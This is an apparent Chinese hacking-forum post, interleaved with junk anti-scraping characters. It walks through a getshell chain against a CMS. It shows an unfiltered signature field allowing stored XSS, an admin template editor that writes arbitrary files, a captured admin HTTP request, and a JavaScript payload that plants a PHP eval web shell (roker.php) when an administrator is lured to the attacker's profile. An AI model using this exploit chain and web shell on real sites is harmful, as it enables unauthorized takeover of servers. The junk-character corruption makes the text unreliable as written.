|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
* z+ Z9 {' P9 Q- ^/ a7 d7 _' u, W: I官网已经修补了,所以重新下了源码
q: E% Q Z+ d& G1 a) t# c2 D因为 后台登入 还需要认证码 所以 注入就没看了。
3 `$ p* c( y( {1 W4 W1 T* }存在 xss. H! y- m3 ?3 \
漏洞文件 user/member/skin_edit.php
0 d: U% i: [$ k8 ^2 ?: |本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:! H; m1 c7 H' L8 E0 t6 B, c% K: d" `
, F0 e7 j5 r; ]" j6 X% j</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>6 P, s+ V1 l1 p1 Q: W/ Q
# f v8 u5 r9 Q' I4 c# {7 }
</textarea></td></tr>+ {% d# p4 s( B- k: c
6 v Z T7 U0 X. f- D user/do.php
0 H( Q- E4 x: w* J. j* B
. c4 G/ J, r" T. F. o/ L* M' g+ j: D" E
if($op=='zl'){ //资料/ b+ Y9 ~" D- k! T ]7 a$ T
" h \# ~& E' b
if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) / I: m8 z- y" y
exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));- u9 T8 H8 J% i: g; W- F/ ]
o# G+ \; V: O2 d8 h' @ $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
U, G- w8 Y% H d/ w# F' X5 p 6 [% c0 K+ _& P% B( z. k
CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
" F- H y7 u q& S6 a where CS_Name='".$cscms_name."'";
# ^+ q, n+ B& x( | P5 R 8 p" ~$ `* O) r' ?
if($db->query($sql)){
0 t3 G/ `% O: L, K* L# m - |% r* {2 ~7 O& ^
exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
1 h' S5 d& z' q9 }/ c+ G* o6 y: v5 y 6 I. O" C \" c( W) ~+ E6 I
}else{
3 y# x: ]4 u' ^0 T# b- v& { ' w3 G# p& d+ ^ K2 w8 Q6 F/ i
exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
( b k( z- {# z* F% k3 G9 E: r 7 V1 E$ n9 g, E9 U9 A6 I
}! e; l, v9 g% n( M! x8 E
* z7 l; k* C) n2 o3 r6 u
( ]/ ^0 c. s6 ?+ v0 U. @没有 过滤导致xss产生。
3 e: H9 O3 C/ N% z后台 看了下 很奇葩的是可以写任意格式文件。。
6 [9 ]% @$ `1 m; r' i. j" l抓包。。, i' O. ]; C9 F1 y/ N! e* W$ ]
4 @$ Q5 [: ^ A' K
5 {' y- D' ?1 R& a
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
- [! ?5 b, i& [" k* D. ~( h/ G9 p1 ^0 N $ P( Q* H2 s* O& A' e/ c. ^( y& T
Accept: text/html, application/xhtml+xml, */*1 C# o& E! P5 _* v
?' x5 G/ F9 [. C
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
. m! A9 a0 G2 \3 a d1 ` x \& I9 |. p4 B) F$ ~
Accept-Language: zh-CN
- Y, A% I/ R4 Y5 W' H
' l- A0 a/ }) R' R, wUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0); x; W. v$ K9 w' s" E6 F
; j ]# h3 }. T+ h3 p' ?
Content-Type: application/x-www-form-urlencoded. }$ h4 g2 U, ]* R! U2 ^0 d
$ a# C6 K7 t1 ?. x
Accept-Encoding: gzip, deflate
* j$ [/ x. O# |3 @" J
0 B* I$ |) L/ F. i- O. gHost: 127.0.0.15 \9 [ t/ l5 [
0 ]0 h5 k) S" a3 s- L9 p: N( G8 oContent-Length: 38
+ N2 r/ t' p0 f' F 8 A+ u* U. p5 _9 m5 a6 Y& O
DNT: 1! ]' H2 t) ~1 v$ g
H' y3 K+ p0 m; C: mConnection: Keep-Alive
z& R5 f) A' D
3 M; N+ L: i+ {" s+ Z" _7 k$ R$ TCache-Control: no-cache3 \% R& g2 |2 m9 ?$ {2 J, L
9 M2 Q$ s l) \) v* T: v5 v# [8 u
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655948 r5 M p/ J$ @2 E5 x$ N
# G. f6 I' R+ `, a! J$ j$ Q
5 z) H" w: _4 K- I. b8 f+ pname=aaa.php&content=%3Cs%3E%3Ca%25%3E
6 q0 |* ^! L* `. x1 N0 U4 D0 }
. F) V3 j V8 |) m5 {% j9 ]& D& L3 X& a* w
于是 构造js如下。
* f$ X* I: b1 D* f1 H& B# u' ]: |( H. ^: ^
本帖隐藏的内容<script> 6 K7 w! L1 K1 t$ [; P& Q$ ~
thisTHost = top.location.hostname;, k" @% |# L# G9 k' v8 o3 y+ @. h
N' F2 n+ E1 o% k- u' Z0 J [thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";( G' Q: m# D3 p7 {# j: ~- h
2 P! q! h, O# F: j
function PostSubmit(url, data, msg) { . ?& V, J# y" s
var postUrl = url;% [7 y" E# P" [) W4 v0 @' I
8 ?/ s* P2 R: q7 }
var postData = data; : B& ]2 e/ C7 N4 E: j" y I
var msgData = msg; 3 c6 e# C, ^7 k. C. d
var ExportForm = document.createElement("FORM"); " o1 I' N; J1 Y$ z
document.body.appendChild(ExportForm); 5 i }( s* V0 P4 \3 M" x
ExportForm.method = "POST"; # C7 X0 Z/ A" B
var newElement = document.createElement("input"); ( r1 |' W/ s8 Y' \' N! d1 o
newElement.setAttribute("name", "name");
$ L6 @+ l; g8 x- L newElement.setAttribute("type", "hidden"); ) L: E3 W; z$ P7 F
var newElement2 = document.createElement("input"); 9 Q8 G1 }& }4 T G5 I
newElement2.setAttribute("name", "content"); ) _* o: A* `0 M9 v
newElement2.setAttribute("type", "hidden");
) o9 D' y/ B: j9 H+ a ExportForm.appendChild(newElement);
6 l2 T2 {; f' b& }- |6 d ExportForm.appendChild(newElement2);
: I8 o U) t2 P) I8 I! A; h newElement.value = postData;
1 f5 i6 g. I4 l1 F newElement2.value = msgData; ; l. j* q# i0 ~# x# f
ExportForm.action = postUrl;
1 f' Y h! n; k/ ] Z ExportForm.submit(); 5 i! H0 G6 H6 d
};
8 X* o% c9 H( a! L& S4 F . R+ X, _, i) I6 K% z* A, ?& C
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
/ ^4 ^. K1 ^$ I9 T. M9 g
! @, X6 i8 L- p) i+ N</script>6 e; E/ v, f0 E" R9 c1 D
. d7 t7 V5 G( y- Z' f) \- \" P; B2 c$ Q! n+ z# l2 S# x- V1 e
; e9 L8 J7 Z; I. W2 g; m
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入8 b% b" s; l* P' L7 q3 B
用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)# \# ~* H! R; C& I# W
就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
P' u8 X% u: A6 G7 r |
|